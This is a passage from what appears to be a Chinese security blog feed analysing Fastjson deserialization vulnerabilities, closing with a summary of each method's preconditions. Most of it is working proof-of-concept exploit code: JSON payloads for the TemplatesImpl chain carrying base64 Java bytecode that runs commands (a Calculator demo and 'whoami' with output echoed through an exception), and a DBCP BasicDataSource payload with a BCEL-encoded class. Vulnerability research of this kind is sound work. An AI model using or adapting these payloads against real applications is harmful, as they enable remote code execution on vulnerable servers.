class="string">&quot;&#125;&quot;</span>;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            JSON.parse(payload, Feature.SupportNonPublicField);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<h4 id="POC示例"><a href="#POC示例" class="headerlink" title="POC示例"></a>POC示例</h4><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">&#123;</span><br><span class="line"><span class="string">&quot;@type&quot;</span>: <span class="string">&quot;com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl&quot;</span>,</span><br><span class="line"><span class="string">&quot;_bytecodes&quot;</span>: [</span><br><span class="line"><span class="string">&quot;yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAJdGVzdC5qYXZhDAAIAAkHACEMACIAIwEAKG9wZW4gL1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAMACQAJQEABHRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACQAEAAoADQALAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAADgABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAEQAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAEwAIABQADAAAAAQAAQAUAAEAFQAAAAIAFg==&quot;</span></span><br><span class="line">],</span><br><span class="line"><span class="string">&quot;_name&quot;</span>: <span class="string">&quot;a&quot;</span>,</span><br><span class="line"><span class="string">&quot;_tfactory&quot;</span>: &#123;&#125;,</span><br><span class="line"><span class="string">&quot;_outputProperties&quot;</span>: &#123;&#125;,</span><br><span class="line"><span class="string">&quot;_version&quot;</span>: <span class="string">&quot;1.0&quot;</span>,</span><br><span class="line"><span class="string">&quot;allowedProtocols&quot;</span>: <span class="string">&quot;all&quot;</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<h3 id="命令回显"><a href="#命令回显" class="headerlink" title="命令回显"></a>命令回显</h3><p>通过将命令执行的结果传入到异常，最后抛出该异常，即可成功实现命令回显。</p>
<h4 id="ByteCode生成-1"><a href="#ByteCode生成-1" class="headerlink" title="ByteCode生成"></a>ByteCode生成</h4><p>新建testEx类，代码如下：</p>
<figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.DOM;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.TransletException;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xml.internal.serializer.SerializationHandler;</span><br><span class="line"><span class="keyword">import</span> java.io.BufferedInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">testEx</span> <span class="keyword">extends</span> <span class="title class_">AbstractTranslet</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">ex</span> <span class="operator">=</span> <span class="string">&quot;&quot;</span>;</span><br><span class="line">    <span class="keyword">static</span> &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="type">String</span> <span class="variable">ex</span> <span class="operator">=</span> exec(<span class="string">&quot;whoami&quot;</span>);</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">Exception</span>(ex);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> String <span class="title function_">exec</span><span class="params">(String cmd)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="type">String</span> <span class="variable">s</span> <span class="operator">=</span> <span class="string">&quot;&quot;</span>;</span><br><span class="line">            <span class="type">int</span> len;</span><br><span class="line">            <span class="type">int</span> <span class="variable">bufSize</span> <span class="operator">=</span> <span class="number">4096</span>;</span><br><span class="line">            <span class="type">byte</span>[] buffer = <span class="keyword">new</span> <span class="title class_">byte</span>[bufSize];</span><br><span class="line">            <span class="type">BufferedInputStream</span> <span class="variable">bis</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">BufferedInputStream</span>(Runtime.getRuntime()</span><br><span class="line">                    .exec(cmd)</span><br><span class="line">                    .getInputStream(),</span><br><span class="line">                    bufSize);</span><br><span class="line"></span><br><span class="line">            <span class="keyword">while</span> ((len = bis.read(buffer, <span class="number">0</span>, bufSize)) != -<span class="number">1</span>)</span><br><span class="line">                s += <span class="keyword">new</span> <span class="title class_">String</span>(buffer, <span class="number">0</span>, len);</span><br><span class="line">            bis.close();</span><br><span class="line">            <span class="keyword">return</span> s;</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            <span class="keyword">return</span> e.getMessage();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">transform</span><span class="params">(DOM document, DTMAxisIterator iterator, SerializationHandler handler)</span> &#123;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">transform</span><span class="params">(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers)</span> <span class="keyword">throws</span> TransletException &#123;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">testEx</span> <span class="variable">t</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">testEx</span>();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<p>通过<code>javac testEx.java</code>生成testEx.class文件，然后通过python将testEx.class内容进行Base64编码。</p>
<h4 id="POC利用-1"><a href="#POC利用-1" class="headerlink" title="POC利用"></a>POC利用</h4><p>只需要将_bytecodes数据进行替换即可。</p>
<figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> com.alibaba.fastjson.JSON;</span><br><span class="line"><span class="keyword">import</span> com.alibaba.fastjson.parser.Feature;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">poc</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">payload</span> <span class="operator">=</span> <span class="string">&quot;&#123;\n&quot;</span> +</span><br><span class="line">                <span class="string">&quot;\&quot;@type\&quot;: \&quot;com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\&quot;,\n&quot;</span> +</span><br><span class="line">                <span class="string">&quot;\&quot;_bytecodes\&quot;: [\n&quot;</span> +</span><br><span class="line"><span class="string">&quot;\&quot;yv66vgAAADQAXgoAGAAxCAAyBwAzCgA0ADUKADQANgoANwA4CgADADkKAAMAOgcAOwoACQAxCgAJADwHAD0KAAwAPgoACQA/CgADAEAHAEEKABAAQgcAQwoAEgAxCABECgASAEUKABAARgoAEABHBwBIAQACZXgBABJMamF2YS9sYW5nL1N0cmluZzsBAA1Db25zdGFudFZhbHVlAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABGV4ZWMBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUHAD0HAEkHADMHAEEBAApFeGNlcHRpb25zAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgcASgEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAIPGNsaW5pdD4BAApTb3VyY2VGaWxlAQALdGVzdEV4LmphdmEMABwAHQEAAAEAG2phdmEvaW8vQnVmZmVyZWRJbnB1dFN0cmVhbQcASwwATABNDAAgAE4HAE8MAFAAUQwAHABSDABTAFQBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwAVQBWAQAQamF2YS9sYW5nL1N0cmluZwwAHABXDABYAFkMAFoAHQEAE2phdmEvbGFuZy9FeGNlcHRpb24MAFsAWQEABnRlc3RFeAEABndob2FtaQwAIAAhDAAcAFwMAF0AHQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBAAJbQgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGShMamF2YS9pby9JbnB1dFN0cmVhbTtJKVYBAARyZWFkAQAHKFtCSUkpSQEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEAByhbQklJKVYBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAFY2xvc2UBAApnZXRNZXNzYWdlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAPcHJpbnRTdGFja1RyYWNlACEAEgAYAAAAAQAaABkAGgABABsAAAACAAIABgABABwAHQABAB4AAAAdAAEAAQAAAAUqtwABsQAAAAEAHwAAAAYAAQAAAAkACQAgACEAAgAeAAAA5wAGAAYAAABcEgJMERAAPh28CDoEuwADWbgABCq2AAW2AAYdtwAHOgUZBRkEAx22AAhZPQKfACO7AAlZtwAKK7YAC7sADFkZBAMctwANtgALtgAOTKf/1BkFtgAPK7BMK7YAEbAAAQAAAFUAVgAQAAIAHwAAADIADAAAABYAAwAYAAcAGQAMABoAFAAbABcAHAAgAB8ALwAgAE8AIQBUACIAVgAjAFcAJAAiAAAAOQAD/wAgAAYHACMHACMAAQcAJAcAJQAA/wAuAAYHACMHACMBAQcAJAcAJQAA/wAGAAEHACMAAQcAJgAnAAAABAABABAAAQAoACkAAQAeAAAAGQAAAAQAAAABsQAAAAEAHwAAAAYAAQAAACoAAQAoACoAAgAeAAAAGQAAAAMAAAABsQAAAAEAHwAAAAYAAQAAAC0AJwAAAAQAAQArAAkALAAtAAIAHgAAACUAAgACAAAACbsAElm3ABNMsQAAAAEAHwAAAAoAAgAAAC8ACAAwACcAAAAEAAEAEAAIAC4AHQABAB4AAABRAAMAAQAAABUSFLgAFUu7ABBZKrcAFr9LKrYAF7EAAQAAAA8ADwAQAAIAHwAAABYABQAAAA0ABgAOAA8ADwAQABAAFAASACIAAAAGAAFPBwAmAAEALwAAAAIAMA==\&quot;\n&quot;</span> +</span><br><span class="line">                <span class="string">&quot;],\n&quot;</span> +</span><br><span class="line">                <span class="string">&quot;\&quot;_name\&quot;: \&quot;a\&quot;,\n&quot;</span> +</span><br><span class="line">                <span class="string">&quot;\&quot;_tfactory\&quot;: &#123;&#125;,\n&quot;</span> +</span><br><span class="line">                <span class="string">&quot;\&quot;_outputProperties\&quot;: &#123;&#125;,\n&quot;</span> +</span><br><span class="line">                <span class="string">&quot;\&quot;_version\&quot;: \&quot;1.0\&quot;,\n&quot;</span> +</span><br><span class="line">                <span class="string">&quot;\&quot;allowedProtocols\&quot;: \&quot;all\&quot;\n&quot;</span> +</span><br><span class="line">                <span class="string">&quot;&#125;&quot;</span>;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            JSON.parse(payload, Feature.SupportNonPublicField);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<p>效果如下图：</p>
<p><img data-src="https://i.loli.net/2020/11/27/AhQpVYZ5UFrWmD1.jpg" alt="fastjson- exception-cmd"></p>
<h4 id="POC示例-1"><a href="#POC示例-1" class="headerlink" title="POC示例"></a>POC示例</h4><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">&#123;</span><br><span class="line"><span class="string">&quot;@type&quot;</span>: <span class="string">&quot;com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl&quot;</span>,</span><br><span class="line"><span class="string">&quot;_bytecodes&quot;</span>: [</span><br><span class="line"><span class="string">&quot;yv66vgAAADQAXgoAGAAxCAAyBwAzCgA0ADUKADQANgoANwA4CgADADkKAAMAOgcAOwoACQAxCgAJADwHAD0KAAwAPgoACQA/CgADAEAHAEEKABAAQgcAQwoAEgAxCABECgASAEUKABAARgoAEABHBwBIAQACZXgBABJMamF2YS9sYW5nL1N0cmluZzsBAA1Db25zdGFudFZhbHVlAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABGV4ZWMBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUHAD0HAEkHADMHAEEBAApFeGNlcHRpb25zAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgcASgEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAIPGNsaW5pdD4BAApTb3VyY2VGaWxlAQALdGVzdEV4LmphdmEMABwAHQEAAAEAG2phdmEvaW8vQnVmZmVyZWRJbnB1dFN0cmVhbQcASwwATABNDAAgAE4HAE8MAFAAUQwAHABSDABTAFQBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwAVQBWAQAQamF2YS9sYW5nL1N0cmluZwwAHABXDABYAFkMAFoAHQEAE2phdmEvbGFuZy9FeGNlcHRpb24MAFsAWQEABnRlc3RFeAEABndob2FtaQwAIAAhDAAcAFwMAF0AHQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBAAJbQgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGShMamF2YS9pby9JbnB1dFN0cmVhbTtJKVYBAARyZWFkAQAHKFtCSUkpSQEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEAByhbQklJKVYBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAFY2xvc2UBAApnZXRNZXNzYWdlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAPcHJpbnRTdGFja1RyYWNlACEAEgAYAAAAAQAaABkAGgABABsAAAACAAIABgABABwAHQABAB4AAAAdAAEAAQAAAAUqtwABsQAAAAEAHwAAAAYAAQAAAAkACQAgACEAAgAeAAAA5wAGAAYAAABcEgJMERAAPh28CDoEuwADWbgABCq2AAW2AAYdtwAHOgUZBRkEAx22AAhZPQKfACO7AAlZtwAKK7YAC7sADFkZBAMctwANtgALtgAOTKf/1BkFtgAPK7BMK7YAEbAAAQAAAFUAVgAQAAIAHwAAADIADAAAABYAAwAYAAcAGQAMABoAFAAbABcAHAAgAB8ALwAgAE8AIQBUACIAVgAjAFcAJAAiAAAAOQAD/wAgAAYHACMHACMAAQcAJAcAJQAA/wAuAAYHACMHACMBAQcAJAcAJQAA/wAGAAEHACMAAQcAJgAnAAAABAABABAAAQAoACkAAQAeAAAAGQAAAAQAAAABsQAAAAEAHwAAAAYAAQAAACoAAQAoACoAAgAeAAAAGQAAAAMAAAABsQAAAAEAHwAAAAYAAQAAAC0AJwAAAAQAAQArAAkALAAtAAIAHgAAACUAAgACAAAACbsAElm3ABNMsQAAAAEAHwAAAAoAAgAAAC8ACAAwACcAAAAEAAEAEAAIAC4AHQABAB4AAABRAAMAAQAAABUSFLgAFUu7ABBZKrcAFr9LKrYAF7EAAQAAAA8ADwAQAAIAHwAAABYABQAAAA0ABgAOAA8ADwAQABAAFAASACIAAAAGAAFPBwAmAAEALwAAAAIAMA==&quot;</span></span><br><span class="line">],</span><br><span class="line"><span class="string">&quot;_name&quot;</span>: <span class="string">&quot;a&quot;</span>,</span><br><span class="line"><span class="string">&quot;_tfactory&quot;</span>: &#123;&#125;,</span><br><span class="line"><span class="string">&quot;_outputProperties&quot;</span>: &#123;&#125;,</span><br><span class="line"><span class="string">&quot;_version&quot;</span>: <span class="string">&quot;1.0&quot;</span>,</span><br><span class="line"><span class="string">&quot;allowedProtocols&quot;</span>: <span class="string">&quot;all&quot;</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<h2 id="DBCP"><a href="#DBCP" class="headerlink" title="DBCP"></a>DBCP</h2><p>还有一种执行命令的方式，通过DBCP，但该方式也有一定局限性。</p>
<h3 id="依赖添加"><a href="#依赖添加" class="headerlink" title="依赖添加"></a>依赖添加</h3><p>先添加dbcp依赖，在pom.xml中添加如下内容，并更新maven：</p>
<figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.apache.tomcat<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>dbcp<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>6.0.53<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure>

<h3 id="POC利用-2"><a href="#POC利用-2" class="headerlink" title="POC利用"></a>POC利用</h3><p>新建poc_1类，代码如下，并执行<code>javac poc_1.java</code>：</p>
<figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">poc_1</span> &#123;</span><br><span class="line">    <span class="keyword">static</span> &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            Runtime.getRuntime().exec(<span class="string">&quot;open /System/Applications/Calculator.app&quot;</span>);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (IOException e) &#123;</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>修改poc类：</p>
<figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> com.alibaba.fastjson.JSON;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.bcel.internal.classfile.Utility;</span><br><span class="line"><span class="keyword">import</span> java.nio.file.Files;</span><br><span class="line"><span class="keyword">import</span> java.nio.file.Path;</span><br><span class="line"><span class="keyword">import</span> java.nio.file.Paths;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">poc</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> String <span class="title function_">class2BCEL</span><span class="params">(String classFile)</span> <span class="keyword">throws</span> Exception&#123;</span><br><span class="line">        <span class="type">Path</span> <span class="variable">path</span> <span class="operator">=</span> Paths.get(classFile);</span><br><span class="line">        <span class="type">byte</span>[] bytes = Files.readAllBytes(path);</span><br><span class="line">        <span class="type">String</span> <span class="variable">result</span> <span class="operator">=</span> Utility.encode(bytes,<span class="literal">true</span>);</span><br><span class="line">        System.out.println(result);</span><br><span class="line">        <span class="keyword">return</span> result;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">classFile</span> <span class="operator">=</span> <span class="string">&quot;/Users/hywell/Desktop/fastjsonTest/src/main/java/poc_1.class&quot;</span>;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="type">String</span> <span class="variable">className</span> <span class="operator">=</span> <span class="string">&quot;$$BCEL$$&quot;</span>+class2BCEL(classFile);</span><br><span class="line">            <span class="type">String</span> <span class="variable">payload</span> <span class="operator">=</span> <span class="string">&quot;&#123;\n&quot;</span> +</span><br><span class="line">                    <span class="string">&quot;  \&quot;@type\&quot; : \&quot;org.apache.tomcat.dbcp.dbcp.BasicDataSource\&quot;,\n&quot;</span> +</span><br><span class="line">                    <span class="string">&quot;  \&quot;driverClassName\&quot; : \&quot;&quot;</span>+className+<span class="string">&quot;\&quot;,\n&quot;</span> +</span><br><span class="line">                    <span class="string">&quot;  \&quot;driverClassLoader\&quot; :\n&quot;</span> +</span><br><span class="line">                    <span class="string">&quot;  &#123;\n&quot;</span> +</span><br><span class="line">                    <span class="string">&quot;    \&quot;@type\&quot;:\&quot;Lcom.sun.org.apache.bcel.internal.util.ClassLoader;\&quot;\n&quot;</span> +</span><br><span class="line">                    <span class="string">&quot;  &#125;\n&quot;</span> +</span><br><span class="line">                    <span class="string">&quot;&#125;&quot;</span>;</span><br><span class="line">            JSON.parseObject(payload);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<h3 id="poc示例"><a href="#poc示例" class="headerlink" title="poc示例"></a>poc示例</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">&#123;</span><br><span class="line">  <span class="string">&quot;@type&quot;</span> : <span class="string">&quot;org.apache.tomcat.dbcp.dbcp.BasicDataSource&quot;</span>,</span><br><span class="line">  <span class="string">&quot;driverClassName&quot;</span> : <span class="string">&quot;$$BCEL$$$l$8b$I$A$A$A$A$A$A$AePMK$D1$Q$7d$e9$d7n$d7$d5$da$fa$fd$5dOV$P$$$827E$QQ$Q$ab$V$xz$944$86$S$dd$ee$86m$w$fa$8b$3c$7bQ$f1$e0$P$f0G$89$93$m$w$98$c3L$f2$e6$bd$97$99$f9$f8$7c$7b$H$b0$89$e5$A$3ej$B$c60$eec$c2$e6I$PS$B$8a$98$f60$e3a$96$a1$b4$ad$Sev$Y$f2$8d$d5$L$86$c2$5ez$z$Z$wM$95$c8$93A$af$p$b3s$de$89$J$f1$b7E$fc$cd$in$h$$n$8f$b9v$r2d$I$da$e9$m$T$f2$40Yj$a0Sq$b5$b1$7e$c3$efx$882$C$Ps$n$e6$b1$c0$d0H$b5L$eaQ$fb$a1od$_$da$d5$3aV$82$h$95$s$fdh$8f$c7b$Qs$93f$eb$5c$eb$Q$8bXb$Y$b3$k$91J$a3$c3$d6$fe$bd$90$daRC$d4$R0$U$dd$t$M$a3$8e$S$f3$a4$h$b5$3a7R$Y$86$ea$_t6H$8c$ea$d9$9e$ba$d2$fc$3c$s$g$ab$cd$7f$9c$z$g$5e$deK$c1$b0$d2$f8Sm$9bL$r$dd$ad$bf$82$d3$y$V$b2$df$tAES$d1$b8u$9cg$5cH$y$c3$a3$8d$db$93$D$b3$b3S$i$a2$d7$CeF$b9$b8$f6$C$f6D$X$86$90b$c9$81y$92$M$ffP$5bN$K$d4$5e$91$ab$e5$9fQ$b8$7c$84$7f$b4$f6$8c$d2$93$c3$cb$a4$y$S$c7$ea$t$e9f$5d$ca$O$f5$c8$c5G$95$9cF$I$f5$90kz$a8$UH4$ea$fa$a9$7e$B$8e$R$yW$X$C$A$A&quot;</span>,</span><br><span class="line">  <span class="string">&quot;driverClassLoader&quot;</span> :</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="string">&quot;@type&quot;</span>:<span class="string">&quot;Lcom.sun.org.apache.bcel.internal.util.ClassLoader;&quot;</span></span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>FastJson的漏洞利用，基本只能止步于DNSLOG的方式。或许偶尔能遇到DBCP、JNDI的利用方式，TemplatesImpl方式基本别想了。</p>
<ul>
<li>TemplatesImpl的利用要求苛刻需要解析的时候设置Feature.SupportNonPublicField</li>
<li>DBCP的利用需要依赖对应的包，如<code>org.apache.commons.dbcp.BasicDataSource</code>或<code>org.apache.tomcat.dbcp.dbcp.BasicDataSource</code>，其中<code>org.apache.tomcat.dbcp.dbcp.BasicDataSource</code>为tomcat自带，但是执行json解析的代码需要为<code>JSON.parseObject</code>，如果为<code>JSON.parse</code>则无法利用</li>
</ul>
]]></content>
      <categories>
        <category>安全</category>
        <category>漏洞分析</category>
      </categories>
      <tags>
        <tag>漏洞分析</tag>
        <tag>fastjson</tag>
      </tags>
  </entry>
  <entry>
    <title>大汉CMS-jact任意文件上传</title>
    <url>/archives/ae1f095f.html</url>
